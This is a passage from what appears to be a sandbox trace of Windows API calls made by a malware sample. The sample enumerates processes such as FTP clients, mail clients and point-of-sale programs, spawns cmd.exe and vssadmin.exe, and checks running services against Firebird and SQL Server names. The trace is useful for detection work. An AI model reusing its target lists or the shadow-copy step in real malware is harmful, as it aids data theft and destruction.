th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.753] lstrlenW (lpString="filezilla.exe") returned 13 [0070.753] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.753] lstrlenW (lpString="flashfxp.exe") returned 12 [0070.753] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.753] lstrlenW (lpString="fling.exe") returned 9 [0070.754] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.754] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0070.754] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.754] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0070.754] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.754] lstrlenW (lpString="icq.exe") returned 7 [0070.754] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.755] lstrlenW (lpString="leechftp.exe") returned 12 [0070.755] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.755] lstrlenW (lpString="ncftp.exe") returned 9 [0070.755] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0070.755] lstrlenW (lpString="notepad.exe") returned 11 [0070.755] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0070.756] lstrlenW (lpString="operamail.exe") returned 13 [0070.756] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0070.756] lstrlenW (lpString="pidgin.exe") returned 10 [0070.756] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0070.756] lstrlenW (lpString="scriptftp.exe") returned 13 [0070.756] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0070.757] lstrlenW (lpString="skype.exe") returned 9 [0070.757] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0070.757] lstrlenW (lpString="smartftp.exe") returned 12 [0070.757] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0071.352] lstrlenW (lpString="thunderbird.exe") returned 15 [0071.352] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0071.353] lstrlenW (lpString="totalcmd.exe") returned 12 [0071.353] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0071.353] lstrlenW (lpString="trillian.exe") returned 12 [0071.353] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0071.353] lstrlenW (lpString="webdrive.exe") returned 12 [0071.354] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0071.354] lstrlenW (lpString="whatsapp.exe") returned 12 [0071.354] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0071.354] lstrlenW (lpString="winscp.exe") returned 10 [0071.354] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0071.355] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0071.355] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0071.356] lstrlenW (lpString="active-charge.exe") returned 17 [0071.356] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0071.356] lstrlenW (lpString="accupos.exe") returned 11 [0071.356] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0071.357] lstrlenW (lpString="afr38.exe") returned 9 [0071.357] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0071.357] lstrlenW (lpString="aldelo.exe") returned 10 [0071.357] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0071.357] lstrlenW (lpString="ccv_server.exe") returned 14 [0071.357] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0071.358] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0071.358] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0071.358] lstrlenW (lpString="creditservice.exe") returned 17 [0071.358] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0071.359] lstrlenW (lpString="edcsvr.exe") returned 10 [0071.359] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0071.359] lstrlenW (lpString="fpos.exe") returned 8 [0071.359] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0071.359] lstrlenW (lpString="isspos.exe") returned 10 [0071.359] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0071.360] lstrlenW (lpString="mxslipstream.exe") returned 16 [0071.360] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0071.360] lstrlenW (lpString="omnipos.exe") returned 11 [0071.360] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0071.361] lstrlenW (lpString="spcwin.exe") returned 10 [0071.361] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0071.361] lstrlenW (lpString="spgagentservice.exe") returned 19 [0071.361] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0071.361] lstrlenW (lpString="utg2.exe") returned 8 [0071.361] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0071.362] lstrlenW (lpString="nj_sh.exe") returned 9 [0071.362] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0071.362] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0071.362] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0071.362] lstrlenW (lpString="telecommunications.exe") returned 22 [0071.363] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0071.363] lstrlenW (lpString="sound banking.exe") returned 17 [0071.363] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.363] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.363] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.364] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.364] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.364] lstrlenW (lpString="taskhost.exe") returned 12 [0071.364] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0071.364] lstrlenW (lpString="winhost.exe") returned 11 [0071.364] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.365] lstrlenW (lpString="cmd.exe") returned 7 [0071.365] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.365] lstrlenW (lpString="conhost.exe") returned 11 [0071.365] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0071.365] lstrlenW (lpString="vssadmin.exe") returned 12 [0071.365] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0071.366] lstrlenW (lpString="VSSVC.exe") returned 9 [0071.366] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0071.367] CloseHandle (hObject=0x168) returned 1 [0071.367] Sleep (dwMilliseconds=0x1f4) [0073.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ffa0 [0073.225] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0073.226] GetLastError () returned 0xea [0073.226] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x3959740 [0073.227] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x123e, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0073.228] CloseServiceHandle (hSCObject=0x52ffa0) returned 1 [0073.228] lstrlenW (lpString="Appinfo") returned 7 [0073.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0073.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0073.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0073.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0073.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0073.228] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0073.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0073.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0073.228] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0073.228] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0073.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0073.228] lstrlenW (lpString="AudioSrv") returned 8 [0073.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0073.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0073.228] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0073.228] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0073.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0073.229] lstrlenW (lpString="BFE") returned 3 [0073.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0073.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0073.229] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0073.229] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0073.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0073.229] lstrlenW (lpString="CryptSvc") returned 8 [0073.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0073.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0073.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0073.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0073.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0073.229] lstrlenW (lpString="CscService") returned 10 [0073.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0073.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0073.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0073.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0073.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0073.229] lstrlenW (lpString="DcomLaunch") returned 10 [0073.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0073.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0073.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0073.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0073.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0073.229] lstrlenW (lpString="Dhcp") returned 4 [0073.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0073.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0073.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0073.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0073.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0073.230] lstrlenW (lpString="Dnscache") returned 8 [0073.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0073.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0073.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0073.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0073.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0073.230] lstrlenW (lpString="DPS") returned 3 [0073.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0073.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0073.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0073.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0073.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0073.230] lstrlenW (lpString="eventlog") returned 8 [0073.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0073.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0073.230] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0073.230] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0073.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0073.230] lstrlenW (lpString="EventSystem") returned 11 [0073.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0073.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0073.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0073.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0073.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0073.230] lstrlenW (lpString="gpsvc") returned 5 [0073.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0073.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0073.231] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0073.231] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0073.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0073.231] lstrlenW (lpString="iphlpsvc") returned 8 [0073.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0073.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0073.231] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0073.231] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0073.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0073.231] lstrlenW (lpString="LanmanServer") returned 12 [0073.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0073.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0073.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0073.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0073.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0073.231] lstrlenW (lpString="LanmanWorkstation") returned 17 [0073.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0073.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0073.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0073.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0073.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0073.231] lstrlenW (lpString="lmhosts") 